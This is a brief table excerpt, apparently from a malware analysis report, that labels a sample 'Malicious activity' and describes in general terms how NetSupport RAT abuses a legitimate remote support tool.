| Verdict: | Malicious activity |
| Threats: | NetSupport RAT is a malicious adaptation of the legitimate NetSupport Manager, a remote access tool used for IT support, which cybercriminals exploit to gain unauthorized control over systems. It has gained significant traction due to its sophisticated evasion techniques, widespread distribution campaigns, and the challenge it poses to security professionals who must distinguish between legitimate and malicious uses of the underlying software. |
